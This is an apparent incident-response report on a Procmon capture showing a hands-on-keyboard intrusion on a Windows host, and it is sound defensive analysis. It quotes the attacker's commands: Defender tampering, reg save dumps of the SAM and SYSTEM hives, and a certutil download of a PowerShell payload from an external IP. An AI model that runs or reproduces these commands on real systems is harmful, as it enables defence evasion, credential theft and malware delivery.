

Executive Summary

During the analysis of the provided Procmon capture, multiple suspicious activities consistent with post-compromise attacker behavior were identified on the host `MSEDGEWIN10`.

The observed telemetry indicates authenticated remote command execution through Windows Management Instrumentation (WMI), followed by reconnaissance activity, security control tampering, credential dumping activity, suspicious payload execution, and additional post-exploitation behavior.

The activity appears to have been performed under the context of the local account `MSEDGEWIN10\helpdesk`. However, the initial access vector and the original source of the credentials could not be conclusively determined from Procmon telemetry alone.

Based on the available evidence, the activity is consistent with a hands-on-keyboard intrusion and may represent attacker staging for lateral movement, credential theft, persistence, or additional malware deployment.

Investigation Methodology

The investigation was conducted using Microsoft Procmon with a focus on:

- Process create operations,
- process tree analysis,
- parent-child process relationships,
- command-line review,
- timeline reconstruction,
- suspicious administrative tooling and LOLBIN usage.

Procmon filtering and chronological process analysis were used to identify suspicious behavior and correlate attacker activity throughout the captured timeline.

Technical Findings

1. Suspicious WMI-Based Command Execution

At approximately 07:18:50, `wmioprse.exe` (WMI Provider Host) spawned `cmd.exe` under the context of `MSEDGEWIN10\helpdesk`.

Observed command line:

```
cmd.exe /Q /c cd \ 1> \\127.0.0.1\ADMIN$\\__169988722673308 2>&1
```

This execution pattern, particularly the SMB `ADMIN$` output redirection, is highly consistent with remote WMI-based execution frameworks such as Impacket WMIExec or similar remote administration tooling.

The observed activity suggests the system may already have been compromised prior to the beginning of the Procmon capture.

2. Reconnaissance Activity

Following the initial command execution, multiple reconnaissance commands were observed, including:

- `whoami /all`
- `ipconfig /all`
- `net user`
- `net localgroup`
- `net share`
- `wmic`

The commands indicate active enumeration of:

- user privileges,
- local accounts,

- network configuration,
 - shared resources,
 - and endpoint protection status.
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3. Microsoft Defender Tampering

PowerShell execution was observed disabling Microsoft Defender real-time monitoring:

```
Set-MpPreference-DisableRealtimeMonitoring1
```

This behavior is commonly associated with defense evasion and malicious post-exploitation activity.

4. Credential Dumping Activity

The following registry hive dump commands were identified:

```
reg save hklm\sam C:\e993ji9js.dmp  
reg save hklm\system c:\ok0o0retrvf.dmp
```

This activity strongly suggests preparation for offline credential extraction from the Windows SAM database.

5. Suspicious Executable Execution

A suspicious executable named `SJi8hednh12.exe` was executed during the observed intrusion timeline under the context of `MSEDGEWIN10\helpdesk`.

Process tree analysis showed the executable spawning multiple child processes, including:

- `whoami.exe`
- `powershell.exe`

- `certutil.exe`

This behavior suggests the executable may have functioned as attacker tooling, a payload launcher, or a staged malware component used during post-compromise activity.

While Procmon telemetry alone was insufficient to conclusively determine the executable's functionality, its process relationships and surrounding activity make it highly suspicious.

6. PowerShell Execution Policy Bypass

PowerShell execution with the `-ep bypass` argument was observed during the investigation.

This argument disables standard PowerShell execution policy restrictions and may be used to execute scripts while bypassing default security controls.

Given the surrounding suspicious activity identified on the host, this behavior may indicate preparation for PowerShell-based payload execution.

7. Suspicious Payload Retrieval

The utility `certutil.exe` was used to retrieve a remote PowerShell payload:

```
certutil.exe -urlcache -split -f http://54.237.236.103:443/down.ps1 C:\Windows\Temp\down.ps1
```

The use of `certutil.exe` for payload delivery is a known Living-off-the-Land technique.

8. Additional Post-Exploitation Activity

Additional suspicious activity was observed later in the timeline, including:

- execution of additional suspicious binaries (`passed.exe` , `br0298.exe`),
- opening of `notepad.exe` ,

- outbound connectivity testing using `ping 1.1.1.1`,
- archive creation using `tar.exe`.

Observed command:

```
tar.exe -a -c -f de.zip
```

The observed behavior may indicate attacker staging activity, temporary data collection, or preparation for further payload deployment. However, Procmon telemetry alone was insufficient to confirm data exfiltration.

Indicators of Compromise (IOCs)

IOC	Description
54.237.236.103	External IP used for payload retrieval
down.ps1	Downloaded PowerShell payload
SJi8hednh12.exe	Suspicious executable
passed.exe	Suspicious executable
br0298.exe	Suspicious executable
reg save system\sam	Credential dumping activity
ADMIN\$ output redirection	Suspicious remote execution pattern

Recommendations

- Isolate the affected host from the network.
- Reset credentials associated with privileged or administrative accounts.
- Investigate the `helpdesk` account for suspicious authentication activity.
- Block communication with identified external infrastructure.
- Review additional telemetry sources such as Windows Security Logs, Sysmon, and EDR data to determine the original access vector and scope of

compromise.

- Conduct threat hunting for similar WMI-based execution patterns across the environment.
- Review systems for unauthorized remote access software installations such as AnyDesk.